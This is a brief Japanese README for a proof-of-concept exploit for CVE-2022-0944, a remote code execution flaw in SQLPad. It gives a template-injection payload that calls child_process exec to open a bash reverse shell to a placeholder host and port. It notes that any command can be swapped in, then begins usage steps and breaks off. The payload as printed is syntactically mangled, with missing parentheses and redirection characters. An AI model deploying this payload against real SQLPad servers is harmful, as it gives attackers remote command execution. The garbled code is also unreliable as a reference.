CVE-2022-0944

CVE-2022-0944 PoC SQLPad における RCE の PoC です。 この例ではリバースシェルを起動しますが、ペイロード内の 'exec' 呼び出しのコマンドを変更することで、利用可能な任意のコマンドを実行するようにペイロードを変更できます。 payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 必要条件 Python 3 使用方法 1. リスナーを起動する...